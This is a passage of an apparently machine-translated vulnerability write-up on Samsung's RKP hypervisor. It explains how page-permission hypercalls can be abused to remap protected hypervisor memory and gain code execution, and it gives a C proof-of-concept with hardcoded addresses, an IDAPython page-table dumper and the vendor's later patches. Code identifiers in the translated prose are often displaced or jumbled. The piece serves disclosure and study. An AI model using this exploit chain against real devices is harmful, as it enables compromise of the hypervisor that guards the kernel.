// Ensure the PT is NOT marked as `KERNEL|L3` in the physmap.
if (!is_phys_map_kernel(table) || !is_phys_map_l3(table)) {
// Call `rkp_s2_page_change_permission` to make it writable in the second stage.
res = rkp_s2_page_change_permission(table, 0x80 /* read-only */, 0 /* non-executable */, 0);
if (res < 0) {
uh_log('L', "rkp_l3pgt.c", 193, "rox l3t failed, %lx", table);
rkp_phys_map_unlock(table);
return res;
}
// Mark it as `KERNEL|L3` in the physmap.
res = rkp_phys_map_set(table, FLAG2 | KERNEL | L3);
if (res < 0) {
rkp_phys_map_unlock(table);
return res;
}
}
// Iterate over the PT descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr + 0x1000) & 0xfffffffffffff000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 12) & 0x1ff);
// If the descriptor is a page descriptor, set its AP bits to RO and unset its PXN bit.
if ((*table_desc_p & 3) == 3) {
set_rox_bits_of_desc(table_desc_p, 3);
}
}
rkp_phys_map_unlock(table);
return 0;
}

rkp_set_range_to_rox也总是在 上调用(从“动态加载”功能的函数中)。因此,它将遍历内核页表(第 1 阶段),并更改跨越指定地址范围的块和页描述符的内存属性,使其成为只读可执行文件。我们感兴趣的对 rkp_s2_page_change_permission 的调用也只发生在 3 级表中,但前提是它们未在 .swapper_pg_dirKERNEL|L3physmap

出于类似的原因,这对我们来说也不是一个好的选择:目标页面在第 2 阶段设置为只读,它需要已经将用户控制的描述符写入内核页面表中,并且“动态加载”功能仅存在于 Exynos 设备上。

其余选项

调用 rkp_s2_page_change_permission 的最后 2 个函数是 和 ,我们在第一篇博文中已经看到了这一点。不幸的是,他们给它一个来自调用的地址作为参数,因此它们不能用于我们的漏洞利用。rkp_set_pages_rorkp_ro_free_pagesrkp_get_pa

最后,rkp_s2_range_change_permission(在地址范围内操作的函数)是从许多函数调用的,但“动态加载”功能仅在 Exynos 设备上可用,我们希望尽可能保持漏洞利用的通用性。dynamic_load_xxx

重新映射我们的目标页面

为了利用这个漏洞,我们决定使用和。如前所述,由于这些函数使用 返回的物理地址进行调用,因此我们将改为以 rkp_s2_range_change_permission 调用为目标。为了达到它,我们需要给出一个“假PGD”,其中包含一个描述符,指向一个“假PMD”(将与虚拟机管理程序内存中的目标页面重叠)作为函数的输入。rkp_l1pgt_new_pgdrkp_l1pgt_free_pgdrkp_l1pgt_process_tablerkp_get_parkp_l2pgt_process_tablerkp_l1pgt_process_table

  +------------------+  .-> +------------------+
| | | | |
+------------------+ | +------------------+
| table descriptor ---' | |
+------------------+ +------------------+
| | | |
+------------------+ +------------------+
| | | |
+------------------+ +------------------+

"fake PMD" "fake PUD"
in kernel memory in hypervisor memory

该漏洞利用的第一步是调用命令处理程序,该处理程序只需调用 .它本身调用 ,它将处理我们的“假 PGD”(在下面的代码中,将为 0 和 1)。最具体地说,它将设置我们的“假 PMD”,在阶段 2 中将其设置为只读,然后调用以处理我们的“假 PMD”。rkp_cmd_new_pgdrkp_l1pgt_new_pgdrkp_l1pgt_process_tablehigh_bitsis_allocL1physmaprkp_l2pgt_process_table

int64_t rkp_l1pgt_process_table(int64_t pgd, uint32_t high_bits, uint32_t is_alloc) {
// ...
rkp_phys_map_lock(pgd);
// If we are introducing this PGD.
if (is_alloc) {
// If it is already marked as a PGD in the physmap, return without processing it.
if (is_phys_map_l1(pgd)) {
rkp_phys_map_unlock(pgd);
return 0;
}
// ...
// And mark the PGD as such in the physmap.
res = rkp_phys_map_set(pgd, type /* L1 */);
// ...
// Make the PGD read-only in the second stage.
res = rkp_s2_page_change_permission(pgd, 0x80 /* read-only */, 0 /* non-executable */, 0);
// ...
}
// ...
// Now iterate over each descriptor of the PGD.
do {
// ...
// Block descriptor (not a table, not invalid).
if ((desc & 0b11) != 0b11) {
if (desc) {
// Make the memory non executable at EL1.
set_pxn_bit_of_desc(desc_p, 1);
}
}
// Table descriptor.
else {
addr = start_addr & 0xffffff803fffffff | offset;
// Call rkp_l2pgt_process_table to process the PMD.
res += rkp_l2pgt_process_table(desc & 0xfffffffff000, addr, is_alloc);
// ...
// Make the memory non executable at EL1 for user PGDs.
set_pxn_bit_of_desc(desc_p, 1);
}
// ...
} while (entry != 0x1000);
rkp_phys_map_unlock(pgd);
return res;
}

rkp_l2pgt_process_table处理我们的“假 PGD”,它将其标记为 ,在阶段 2 页表中将其设置为只读,然后调用它的每个条目(我们无法控制)。L2PHYSMAPcheck_single_l2e

int64_t rkp_l2pgt_process_table(int64_t pmd, uint64_t start_addr, uint32_t is_alloc) {
// ...
rkp_phys_map_lock(pmd);
// // If we are introducing this PMD.
if (is_alloc) {
// If it is not marked as a PMD in the physmap, return without processing it.
if (is_phys_map_l2(pmd)) {
rkp_phys_map_unlock(pmd);
return 0;
}
// ...
// And mark the PMD as such in the physmap.
res = rkp_phys_map_set(pmd, type /* L2 */);
// ...
// Make the PMD read-only in the second stage.
res = rkp_s2_page_change_permission(pmd, 0x80 /* read-only */, 0 /* non-executable */, 0);
// ...
}
// ...
// Now iterate over each descriptor of the PMD.
offset = 0;
for (i = 0; i != 0x1000; i += 8) {
addr = offset | start_addr & 0xffffffffc01fffff;
// Call `check_single_l2e` on each descriptor.
res += check_single_l2e(pmd + i, addr, is_alloc);
offset += 0x200000;
}
rkp_phys_map_unlock(pgd);
return res;
}

check_single_l2e将设置描述符的 PXN 位(在我们的示例中是目标页面中的每个 8 字节值),并且还将处理看起来像表描述符的值。这是我们在虚拟机管理程序内存中选择目标页面时需要牢记的。

int64_t check_single_l2e(int64_t* desc_p, uint64_t start_addr, signed int32_t is_alloc) {
// ...
// The virtual address is not executable, set the PXN bit of the descriptor.
set_pxn_bit_of_desc(desc_p, 2);
// ...
// Get the descriptor type.
desc = *desc_p;
type = *desc & 0b11;
// Block descriptor, return without processing it.
if (type == 0b01) {
return 0;
}
// Invalid descriptor, return without processing it.
if (type != 0b11) {
if (desc) {
uh_log('L', "rkp_l2pgt.c", 64, "Invalid l2e %p %p %p", desc, is_alloc, desc_p);
}
return 0;
}
// ...
// Call rkp_l3pgt_process_table to process the PT.
return rkp_l3pgt_process_table(*desc_p & 0xfffffffff000, start_addr, is_alloc, protect);
}

到目前为止,我们已将目标页面标记为 ,并在第 2 阶段页表中重新映射为只读。这很好,但为了能够从内核修改它,我们需要在第二阶段将其映射为可写。L2physmap

漏洞利用的第二步是调用命令处理程序,该处理程序只需调用 .它本身调用 ,它将再次处理我们的“假 PGD”(在下面的代码中,将是 0,这次是 0)。更具体地说,它将在阶段 2 中设置我们的“假 PGD”,将其设置为读写,然后调用以处理我们的“假 PMD”。rkp_cmd_free_pgdrkp_l1pgt_free_pgdrkp_l1pgt_process_tablehigh_bitsis_allocFREEphysmaprkp_l2pgt_process_table

int64_t rkp_l1pgt_process_table(int64_t pgd, uint32_t high_bits, uint32_t is_alloc) {
// ...
rkp_phys_map_lock(pgd);
// ...
// If we are retiring this PGD.
if (!is_alloc) {
// If it is not marked as a PGD in the physmap, return without processing it.
if (!is_phys_map_l1(pgd)) {
rkp_phys_map_unlock(pgd);
return 0;
}
// Mark the PGD as `FREE` in the physmap.
res = rkp_phys_map_set(pgd, FREE);
// ...
// // Make the PGD writable in the second stage.
res = rkp_s2_page_change_permission(pgd, 0 /* writable */, 1 /* executable */, 0);
// ...
}
// Now iterate over each descriptor of the PGD.
offset = 0;
entry = 0;
start_addr = high_bits << 39;
do {
// Block descriptor (not a table, not invalid).
if ((desc & 0b11) != 0b11) {
if (desc) {
// Make the memory non executable at EL1.
set_pxn_bit_of_desc(desc_p, 1);
}
} else {
addr = start_addr & 0xffffff803fffffff | offset;
// Call rkp_l2pgt_process_table to process the PMD.
res += rkp_l2pgt_process_table(desc & 0xfffffffff000, addr, is_alloc);
// ...
// Make the memory non executable at EL1 for user PGDs.
set_pxn_bit_of_desc(desc_p, 1);
}
// ...
} while (entry != 0x1000);
rkp_phys_map_unlock(pgd);
return res;
}

rkp_l2pgt_process_table处理我们的“假 PGD”,它将其标记为 ,在阶段 2 页表中将其设置为读写,然后再次调用其每个条目(这将执行与之前相同的操作)。FREEphysmapcheck_single_l2e

int64_t rkp_l2pgt_process_table(int64_t pmd, uint64_t start_addr, uint32_t is_alloc) {
// ...
rkp_phys_map_lock(pmd);
// ...
// If we are retiring this PMD.
if (!is_alloc) {
// If it is not marked as a PMD in the physmap, return without processing it.
if (!is_phys_map_l2(pmd)) {
rkp_phys_map_unlock(pgd);
return 0;
}
// ...
// Mark the PMD as `FREE` in the physmap.
res = rkp_phys_map_set(pmd, FREE);
// ...
// Make the PMD writable in the second stage.
res = rkp_s2_page_change_permission(pmd, 0 /* writable */, 1 /* executable */, 0);
// ...
}
// Now iterate over each descriptor of the PMD.
offset = 0;
for (i = 0; i != 0x1000; i += 8) {
addr = offset | start_addr & 0xffffffffc01fffff;
// Call `check_single_l2e` on each descriptor.
res += check_single_l2e(pmd + i, addr, is_alloc);
offset += 0x200000;
}
rkp_phys_map_unlock(pgd);
return res;
}

我们终于在第 2 阶段的页表中将目标页面重新映射为可写页面。太好了,现在我们需要找到一个目标页面,当函数处理其内容时,该页面不会使虚拟机管理程序崩溃。check_single_l2e

选择目标页面

由于设置了“假 PUD”描述符(即目标页面的内容)的 PXN 位,并进一步处理看起来像表格描述符的值,因此我们无法直接定位位于 RKP 代码段中的页面。我们的目标必须可从 EL2 写入,RKP 的页表(EL1 的第 2 阶段页表或 EL2 的页表)就是这种情况。但是由于它们是页表,它们包含有效的描述符,因此由于这种处理,它们很可能会使 RKP 或内核在某个时候崩溃。这就是为什么我们没有针对他们。check_single_l2e

相反,我们选择以支持 memlist 的内存页面为目标,该页面包含其所有实例。它包含的值始终在 8 个字节上对齐,因此它们看起来像函数的无效描述符。通过从内核中取消此列表,我们将能够向所有命令处理程序提供虚拟机管理程序内存中的地址。protected_rangesmemlist_entry_tcheck_single_l2e

此 memlist 在函数中分配:protected_rangespa_restrict_init

int64_t pa_restrict_init() {
// Initialize the memlist of protected ranges.
memlist_init(&protected_ranges);
// Add the uH memory region to it (containing the hypervisor code and data).
memlist_add(&protected_ranges, 0x87000000, 0x200000);
// ...
}

要确切地知道支持这个内存列表的内存将分配在哪里,我们需要深入研究memlist_init函数。它通过在初始化结构的字段之前调用 memlist_reserve 函数为 5 个条目(默认容量)预分配足够的空间。

int64_t memlist_init(memlist_t* list) {
// ...
// Reset the structure fields.
memset(list, 0, sizeof(memlist_t));
// By default, preallocate space for 5 entries.
res = memlist_reserve(list, 5);
// Fill the structure fields accordingly.
list->capacity = 5;
list->merged = 0;
list->unkn_14 = 0;
cs_init(&list->cs);
return res;
}

事实证明,内存列表从不存储超过 5 个内存区域,即使内存支持添加到其中。因此,它永远不会被重新分配,并且只进行一次分配。现在让我们看看 memlist_reserve 函数的作用。它为指定数量的条目分配空间,并将旧条目复制到新分配的内存(如果有)。protected_rangesphysmapmemlist_entry

int64_t memlist_reserve(memlist_t* list, uint64_t size) {
// ...

// Sanity-check the arguments.
if (!list || !size) {
return -1;
}
// Allocate memory for `size` entries of type `memlist_entry`.
base = heap_alloc(0x20 * size, 0);
if (!base) {
return -1;
}
// Reset the memory that was just allocated.
memset(base, 0, 0x20 * size);
// If the list already contains some entries.
if (list->base) {
// Copy these entries from the old array to the new one.
for (index = 0; index < list->count; ++index) {
new_entry = &base[index];
old_entry = &list->base[index];
new_entry->addr = old_entry->addr;
new_entry->size = old_entry->size;
new_entry->unkn_10 = old_entry->unkn_10;
new_entry->extra = old_entry->extra;
}
// And free the old memory.
heap_free(list->base);
}
list->base = base;
return 0;
}

内存是由memlist_reserve通过调用来分配的,因此它来自“静态堆”分配器。在 中,当为 memlist 进行分配时,“静态区域”包含:heap_allocpa_restrict_initprotected_ranges

  • 完整的虚拟机管理程序内存:0x87000000-0x87200000;

  • 减去对数区域:0x87100000-0x87140000;

  • 减去uH/RKP区域:0x87000000-0x87046000;

  • 减去“大数据”区域:0x870FF000-0x87100000。

因此,我们知道分配器返回的地址应该在之后的某个地方(即在 uH/RKP 和“大数据”区域之间)。要知道它将在哪个地址,我们需要找到在调用之前执行的所有分配。0x87046000pa_restrict_init

通过仔细静态跟踪执行,我们发现了 4 个“静态堆”分配:

  • 第一次分配大小0x8A发生在 rkp_init_cmd_counts 年;

  • 大小的第二次分配0x230发生在uh_init_bigdata;

  • 第三次大小分配0x1000发生在uh_init_context;

  • 大小 0xA0 的第四个分配来自调用。memlist_init(&dynamic_regions)uh_init

int64_t uh_init(int64_t uh_base, int64_t uh_size) {
// ...
apps_init();
uh_init_bigdata();
uh_init_context();
memlist_init(&uh_state.dynamic_regions);
pa_restrict_init();
// ...
}
uint64_t apps_init() {
// ...
res = uh_handle_command(i, 0, &saved_regs);
// ...
}
int64_t uh_handle_command(uint64_t app_id, uint64_t cmd_id, saved_regs_t* regs) {
// ...
return cmd_handler(regs);
}
int64_t rkp_cmd_init() {
// ...
rkp_init_cmd_counts();
// ...
}
uint8_t* rkp_init_cmd_counts() {
// ...
malloc(0x8a, 0);
// ...
}
int64_t uh_init_bigdata() {
if (!bigdata_state) {
bigdata_state = malloc(0x230, 0);
}
memset(0x870ffc40, 0, 0x3c0);
memset(bigdata_state, 0, 0x230);
return s1_map(0x870ff000, 0x1000, UNKN3 | WRITE | READ);
}
int64_t* uh_init_context() {
// ...

uh_context = malloc(0x1000, 0);
if (!uh_context) {
uh_log('W', "RKP_1cae4f3b", 21, "%s RKP_148c665c", "uh_init_context");
}
return memset(uh_context, 0, 0x1000);
}

现在我们准备计算地址。每个分配都有一个 0x18 字节的标头,分配器将总大小四舍五入到下一个 8 字节边界。通过正确地进行数学计算,我们发现分配的物理地址0x870473D8:protected_ranges

>>> f = lambda x: (x + 0x18 + 7) & 0xFFFFFFF8
>>> 0x87046000 + f(0x8A) + f(0x230) + f(0x1000) + f(0xA0) + 0x18
0x870473D8

我们还需要知道与记忆列表在同一页面(0x87047000)中的内容。由于我们对先前分配的跟踪,我们知道它前面是 ,它只用于恐慌。类似地,我们可以确定它之后是内存列表重新分配和阶段 2 页表分配,其中包含页面大小的填充。这意味着此页面中不应有看起来像页表描述符的值(在我们的测试设备上)。protected_rangesuh_contextmemsetinit_cmd_add_dynamic_regioninit_cmd_initialize_dynamic_heap

在阶段 2 中使用 and 命令使包含 memlist 的页面可写后,我们直接从内核修改它。我们的目标是使始终返回 0,以便我们可以为所有命令处理程序提供任意地址(包括虚拟机管理程序内存中的地址)。calls ,它本身调用 memlist_contains_addr。此函数仅检查地址是否在内存列表的任何区域内。protected_rangesrkp_cmd_new_pgdrkp_cmd_free_pgdcheck_kernel_inputcheck_kernel_inputprotected_ranges_contains

int64_t memlist_contains_addr(memlist_t* list, uint64_t addr) {
// ...
cs_enter(&list->cs);
// Iterate over each of the entries of the memlist.
for (index = 0; index < list->count; ++index) {
entry = &list->base[index];
// If the address is within the start address and end address of the region.
if (addr >= entry->addr && addr < entry->addr + entry->size) {
cs_exit(&list->cs);
return 1;
}
}
cs_exit(&list->cs);
return 0;
}

中的第一个条目是虚拟机监控程序内存区域。将其字段归零(偏移量 8)应该足以禁用黑名单。protected_rangessize

获取代码执行

完全破坏虚拟机管理程序的最后一步是执行任意代码,这相当容易,因为我们可以为所有命令处理程序提供任何地址。这可以通过多种方式实现,但最简单的方法可能是在 EL1 处修改阶段 2 的页表。

例如,我们可以将覆盖虚拟机管理程序内存范围的 2 级描述符作为目标,并将其转换为可写块描述符。写入本身可以通过调用(调用)来执行,因为我们已经禁用了 memlist。rkp_cmd_write_pgt3rkp_l3pgt_writeprotected_ranges

要查找目标描述符的物理地址,我们可以使用 IDAPython 脚本将初始阶段 2 页表转储到 EL1:

import ida_bytes

def parse_static_s2_page_tables(table, level=1, start_vaddr=0):
size = [0x8000000000, 0x40000000, 0x200000, 0x1000][level]

for i in range(512):
desc_addr = table + i * 8
desc = ida_bytes.get_qword(desc_addr)
if (desc & 0b11) == 0b00 or (desc & 0b11) == 0b01:
continue
paddr = desc & 0xFFFFFFFFF000
vaddr = start_vaddr + i * size

if level < 3 and (desc & 0b11) == 0b11:
print("L%d Table for %016x-%016x is at %08x" \
% (level + 1, vaddr, vaddr + size, paddr))
parse_static_s2_page_tables(paddr, level + 1, vaddr)

parse_static_s2_page_tables(0x87028000)

以下是在目标设备上运行的二进制文件上运行此脚本的结果。

L2 Table for 0000000000000000-0000000040000000 is at 87032000
L3 Table for 0000000002000000-0000000002200000 is at 87033000
L2 Table for 0000000080000000-00000000c0000000 is at 8702a000
L2 Table for 00000000c0000000-0000000100000000 is at 8702b000
L2 Table for 0000000880000000-00000008c0000000 is at 8702c000
L2 Table for 00000008c0000000-0000000900000000 is at 8702d000
L2 Table for 0000000900000000-0000000940000000 is at 8702e000
L2 Table for 0000000940000000-0000000980000000 is at 8702f000
L2 Table for 0000000980000000-00000009c0000000 is at 87030000
L2 Table for 00000009c0000000-0000000a00000000 is at 87031000

我们知道映射 0x80000000-0xc0000000 的 L2 表位于 0x8702A000。要获取描述符的地址,这取决于目标地址 (0x87000000) 和 L2 块的大小 (0x200000),我们只需要向 L2 表的地址添加一个偏移量:

>>> 0x8702A000 + ((0x87000000 - 0x80000000) // 0x200000) * 8
0x8702A1C0

描述符的值由目标地址和所需属性组成:。0x87000000 | 0x4FD = 0x870004FD

0 1 00 11 1111 01 = 0x4FD
^ ^ ^ ^ ^ ^
| | | | | `-- Type: block descriptor
| | | | `------- MemAttr[3:0]: NM, OWBC, IWBC
| | | `---------- S2AP[1:0]: read/write
| | `------------- SH[1:0]: NS
| `--------------- AF: 1
`----------------- FnXS: 0

通过调用 来更改描述符,调用 。由于我们正在写入标记为 的现有页表,并且新值是块描述符,因此检查通过,写入在 set_entry_of_pgt 中执行。rkp_cmd_write_pgt3rkp_l3pgt_writeL3physmap

int64_t* rkp_l3pgt_write(uint64_t ptep, int64_t pte_val) {
// ...
// Convert the PT descriptor PA into a VA.
ptep_pa = rkp_get_pa(ptep);
rkp_phys_map_lock(ptep_pa);
// If the PT is marked as such in the physmap, or as `FREE`.
if (is_phys_map_l3(ptep_pa) || is_phys_map_free(ptep_pa)) {
// If the new descriptor is not a page descriptor, or its PXN bit is set, the check passes.
if ((pte_val & 0b11) != 0b11 || get_pxn_bit_of_desc(pte_val, 3)) {
allowed = 1;
}
// Otherwise, the check fails if RKP is deferred initialized.
else {
allowed = rkp_deferred_inited == 0;
}
}
// If the PT is marked as something else, the check also fails.
else {
allowed = 0;
}
rkp_phys_map_unlock(ptep_pa);
// If the check failed, trigger a policy violation.
if (!allowed) {
pxn_bit = get_pxn_bit_of_desc(pte_val, 3);
return rkp_policy_violation("Write L3 to wrong page type, %lx, %lx, %x", ptep_pa, pte_val, pxn_bit);
}
// Otherwise, perform the write of the PT descriptor on behalf of the kernel.
return set_entry_of_pgt(ptep_pa, pte_val);
}
uint64_t* set_entry_of_pgt(uint64_t* ptr, uint64_t val) {
*ptr = val;
return ptr;
}

概念验证

这个简单的概念证明假设我们已经获得了内核内存读/写原语,并且可以进行虚拟机管理程序调用。

#define UH_APP_RKP 0xC300C002

#define RKP_CMD_NEW_PGD 0x0A
#define RKP_CMD_FREE_PGD 0x09
#define RKP_CMD_WRITE_PGT3 0x05

#define PROTECTED_RANGES_BITMAP 0x870473D8
#define BLOCK_DESC_ADDR 0x8702A1C0
#define BLOCK_DESC_DATA 0x870004FD

uint64_t pa_to_va(uint64_t va) {
return pa - 0x80000000UL + 0xFFFFFFC000000000UL;
}

void exploit() {
/* allocate and clear our "fake PGD" */
uint64_t pgd = kernel_alloc(0x1000);
for (uint64_t i = 0; i < 0x1000; i += 8)
kernel_write(pgd + i, 0UL);

/* write our "fake PMD" descriptor */
kernel_write(pgd, (PROTECTED_RANGES_BITMAP & 0xFFFFFFFFF000UL) | 3UL);

/* make the hyp call that will set the page RO */
kernel_hyp_call(UH_APP_RKP, RKP_CMD_NEW_PGD, pgd);
/* make the hyp call that will set the page RW */
kernel_hyp_call(UH_APP_RKP, RKP_CMD_FREE_PGD, pgd);

/* zero out the "protected ranges" first entry */
kernel_write(pa_to_va(PROTECTED_RANGES_BITMAP + 8), 0UL);

/* write the descriptor to make hyp memory writable */
kernel_hyp_call(UH_APP_RKP, RKP_CMD_WRITE_PGT3,
pa_to_va(BLOCK_DESC_ADDR), BLOCK_DESC_DATA);
}

该漏洞已在我们的测试设备可用的最新固件上成功测试(在我们向三星报告此漏洞时):。Exynos 和 Snapdragon 设备的二进制文件似乎都存在双重错误,包括 S10/S10+/S20/S20+ 旗舰设备。但是,它在这些设备上的可利用性尚不确定。A515FXXU4CTJ1

利用此漏洞的先决条件很高:在启用了 JOPP/ROPP 的设备上,仅通过对内核内存的任意读取和写入即可进行虚拟机管理程序调用并非易事。特别是,在 Snapdragon 设备上,s2_map 函数(从 rkp_s2_page_change_permission 和 rkp_s2_range_change_permission 调用)间接调用 QHEE 函数(因为 QHEE 负责第 2 阶段页表)。我们没有遵循此调用,查看它是否进行了任何可以防止利用此漏洞的额外检查。在Galaxy S20上,还有一个对新的虚拟机管理程序框架(称为H-Arx)的间接调用,我们也没有遵循。

其他设备上的内存布局也将与我们在漏洞利用中针对的内存布局不同,因此硬编码地址将不起作用。但我们相信它们可以进行调整,或者可以为这些设备找到替代的开发策略。

补丁

以下是我们向三星建议的即时补救步骤:

- Mark the pages unmapped by s2_unmap as S2UNMAP in the physmap
- Perform the additional checks of rkp_s2_page_change_permission in
rkp_s2_range_change_permission as well
- Add calls to check_kernel_input in the rkp_lxpgt_process_table functions

第一个补丁

在收到三星通知该漏洞已修补后,我们下载了测试设备三星 Galaxy A51 的最新固件更新。但我们很快注意到它还没有更新到 6 月份的补丁级别,所以我们不得不对三星 Galaxy S10 的最新固件更新进行二进制比较。使用的确切版本是 。G973FXXSBFUF3

对 rkp_s2_page_change_permission 功能进行了第一次更改。现在,它采用一个参数,无论检查是否通过,它都将用于标记页面。此外,对于只读权限,在更改第 2 阶段页表之前对 and 进行更改,对于读写权限,则在更改之后进行更改。typephysmapphysmapro_bitmap

int64_t rkp_s2_page_change_permission(void* p_addr,
uint64_t access,
+ uint32_t type,
uint32_t exec,
uint32_t allow) {
// ...

if (!allow && !rkp_inited) {
// ...
- return -1;
+ return rkp_phys_map_set(p_addr, type) ? -1 : 0;
}
if (is_phys_map_s2unmap(p_addr)) {
// ...
- return -1;
+ return rkp_phys_map_set(p_addr, type) ? -1 : 0;
}
if (page_allocator_is_allocated(p_addr) == 1
|| (p_addr >= TEXT_PA && p_addr < ETEXT_PA)
|| (p_addr >= rkp_get_pa(SRODATA) && p_addr < rkp_get_pa(ERODATA))
- return 0;
+ return rkp_phys_map_set(p_addr, type) ? -1 : 0;
// ...
+ if (access == 0x80) {
+ if (rkp_phys_map_set(p_addr, type) || rkp_set_pgt_bitmap(p_addr, access))
+ return -1;
+ }
if (map_s2_page(p_addr, p_addr, 0x1000, attrs) < 0) {
rkp_policy_violation("map_s2_page failed, p_addr : %p, attrs : %d", p_addr, attrs);
return -1;
}
tlbivaae1is(((p_addr + 0x80000000) | 0xFFFFFFC000000000) >> 12);
- return rkp_set_pgt_bitmap(p_addr, access);
+ if (access != 0x80)
+ if (rkp_phys_map_set(p_addr, type) || rkp_set_pgt_bitmap(p_addr, access))
+ return -1;
+ return 0;

令人惊讶的是,rkp_s2_range_change_permission功能没有进行任何更改。到目前为止,没有任何更改阻止使用这两个函数重新映射以前未映射的内存。

第二组更改是 、 和 函数。在每个函数中,在更改页面的第 2 阶段权限之前,已在分配路径中添加了对的调用。rkp_l1pgt_process_tablerkp_l2pgt_process_tablerkp_l3pgt_process_tablecheck_kernel_input

int64_t rkp_l1pgt_process_table(int64_t pgd, uint32_t high_bits, uint32_t is_alloc) {
// ...
if (is_alloc) {
+ check_kernel_input(pgd);
// ...
} else {
// ...
}
// ...
}
int64_t rkp_l2pgt_process_table(int64_t pmd, uint64_t start_addr, uint32_t is_alloc) {
// ...
if (is_alloc) {
+ check_kernel_input(pmd);
// ...
} else {
// ...
}
}
int64_t rkp_l3pgt_process_table(int64_t pte, uint64_t start_addr, uint32_t is_alloc, int32_t protect) {
// ...
if (is_alloc) {
+ check_kernel_input(pte);
// ...
} else {
// ...
}
// ...
}

这些更改使得我们不能再使用漏洞利用中实现的特定代码路径来调用rkp_s2_page_change_permission。但是,它不会阻止调用我们之前介绍的此函数的任何其他方法。

我们无法找到修复实际问题的更改,即在第 2 阶段中未映射的页面未标记为 .为了向三星证明他们的修复还不够,我们开始寻找一种新的利用策略。虽然不幸的是,由于时间不足,我们无法在真实设备上对其进行测试,但我们设计了下面解释的理论方法。S2UNMAPphysmap

寻找新的漏洞利用路径

在“探索我们的选项”部分中,我们提到 set_range_to_rox_l3 和 set_range_to_pxn_l3 函数可用于调用 rkp_s2_page_change_permission,但有两个主要注意事项。首先,为了使用我们的目标页面调用它们,我们需要在内核 PMD 中有一个表描述符来指向我们的目标页面。此外,它们是仅在 Exynos 设备上可用的“动态加载”功能的一部分。

但是,如果我们能够调用这些函数,我们可以轻松地在第二阶段使我们的目标页面可写。我们可以先调用 set_range_to_rox_l3 来标记我们的目标页面,但也可以在第二阶段将其设置为只读。然后我们可以调用 set_range_to_pxn_l3,这需要它被标记,但也使其在第二阶段可写。KERNEL|L3physmapKERNEL|L3physmap

编写内核页表

我们的新策略要求我们的目标页面由内核 PMD 的表描述符指向。这可以通过将无效描述符更改为指向“假 PT”的表描述符来实现,该描述符实际上是我们的虚拟机管理程序内存的目标页面,如下图所示。

                            |
+--------------------+ | +--------------------+ .-> +--------------------+
| | | | | | | |
+--------------------+ | +--------------------+ | +--------------------+
| invalid descriptor | | | table descriptor ---' | |
+--------------------+ | +--------------------+ +--------------------+
| | | | | | |
+--------------------+ | +--------------------+ +--------------------+
| | | | | | |
+--------------------+ | +--------------------+ +--------------------+
|
read PMD | read PMD "fake PT"
in kernel memory | in kernel memory in hypervisor memory

我们调用 PMD 描述符的 PA ,它映射的区域的起始 VA 和目标页面的 PA 。要更改描述符的值(从 0 到 ),我们可以调用调用 .pmd_desc_pastart_vatarget_patarget_pa | 3rkp_cmd_write_pgt2rkp_l2pgt_write

在 中,由于我们正在写入已标记为 的现有内核 PMD,因此第一个检查通过。由于描述符值从零更改为非零值,因此它仅使用新的描述符值调用一次。rkp_l2pgt_writeKERNEL|L2physmapcheck_single_l2e

在 中,通过选择 not 包含在 中,将设置新描述符值的 PXN 位,并将其设置为 false。然后,由于新描述符是表,因此被调用。check_single_l2estart_vaexecutable_regionsprotectrkp_l3pgt_process_table

在 中,因为是 false,所以函数会提前返回。rkp_l3pgt_process_tableprotect

最后,回到 ,写入描述符的新值。rkp_l2pgt_write

将内存重新映射为可写

现在,我们已准备好使用“动态加载”命令调用 set_range_to_rox_l3 和 set_range_to_pxn_l3 函数,我们将在有关下一个漏洞的部分中解释这些命令。具体而言,我们使用子命令 dynamic_load_ins 和 dynamic_load_rm

作为参考,需要采取的代码路径如下:

rkp_cmd_dynamic_load
`-- dynamic_load_ins
|-- dynamic_load_check
| code range must be in the binary range
| must not overlap another "dynamic executable"
| must not be in the ro_bitmap
|-- dynamic_load_protection
| will make the code range as RO (and add it to ro_bitmap)
|-- dynamic_load_verify_signing
| if type != 3, no signature checking
|-- dynamic_load_make_rox
| calls rkp_set_range_to_rox!
|-- dynamic_load_add_executable
| code range added to the executable_regions
`-- dynamic_load_add_dynlist
code range added to the dynamic_load_regions

rkp_cmd_dynamic_load
`-- dynamic_load_rm
|-- dynamic_load_rm_dynlist
| code range is removed from dynamic_load_regions
|-- dynamic_load_rm_executable
| code range is removed from executable_regions
|-- dynamic_load_set_pxn
| calls rkp_set_range_to_pxn!
`-- dynamic_load_rw
will make the code range as RW (and remove it from ro_bitmap)

应该注意的是,与原始利用路径类似,目标页面中看起来像有效 PT 描述符的值将设置其 PXN 位。因此,目标页面需要是可写的。尽管如此,我们可以继续将支持位图的内存作为目标。protected_ranges

第二个补丁

在三星第二次通知该漏洞已修补后,我们下载了三星 Galaxy S10 的最新固件更新并对其进行了二进制差异。使用的确切版本是 。G973FXXSEFUJ2

rkp_s2_page_change_permission功能进行了更改。它现在调用以确保页面的物理地址不在内存列表中。这样可以防止使用此函数以虚拟机监控程序内存为目标。check_kernel_inputprotected_ranges

int64_t rkp_s2_page_change_permission(void* p_addr,
uint64_t access,
- uint32_t exec,
- uint32_t allow) {
+ uint32_t exec) {
// ...

- if (!allow && !rkp_inited) {
+ if (!rkp_deferred_inited) {
// ...
}
+ check_kernel_input(p_addr);
// ...
}

这一次,还对rkp_s2_range_change_permission进行了更改。首先,它调用以确保范围不与内存列表重叠。然后,它还确保没有目标页面被标记为 .protected_ranges_overlapsprotected_rangesS2UNMAPphysmap

int64_t rkp_s2_range_change_permission(uint64_t start_addr,
uint64_t end_addr,
uint64_t access,
uint32_t exec,
uint32_t allow) {
// ...
- if (!allow && !rkp_inited) {
- uh_log('L', "rkp_paging.c", 593, "s2 range change access not allowed before init");
- rkp_policy_violation("Range change permission prohibited");
- } else if (allow != 2 && rkp_deferred_inited) {
- uh_log('L', "rkp_paging.c", 603, "s2 change access not allowed after def-init");
- rkp_policy_violation("Range change permission prohibited");
- }
+ if (rkp_deferred_inited) {
+ if (allow != 2) {
+ uh_log('L', "rkp_paging.c", 643, "RKP_33605b63");
+ rkp_policy_violation("Range change permission prohibited");
+ }
+ if (start_addr > end_addr) {
+ uh_log('L', "rkp_paging.c", 650, "RKP_b3952d08%llxRKP_dd15365a%llx",
+ start_addr, end_addr - start_addr);
+ rkp_policy_violation("Range change permission prohibited");
+ }
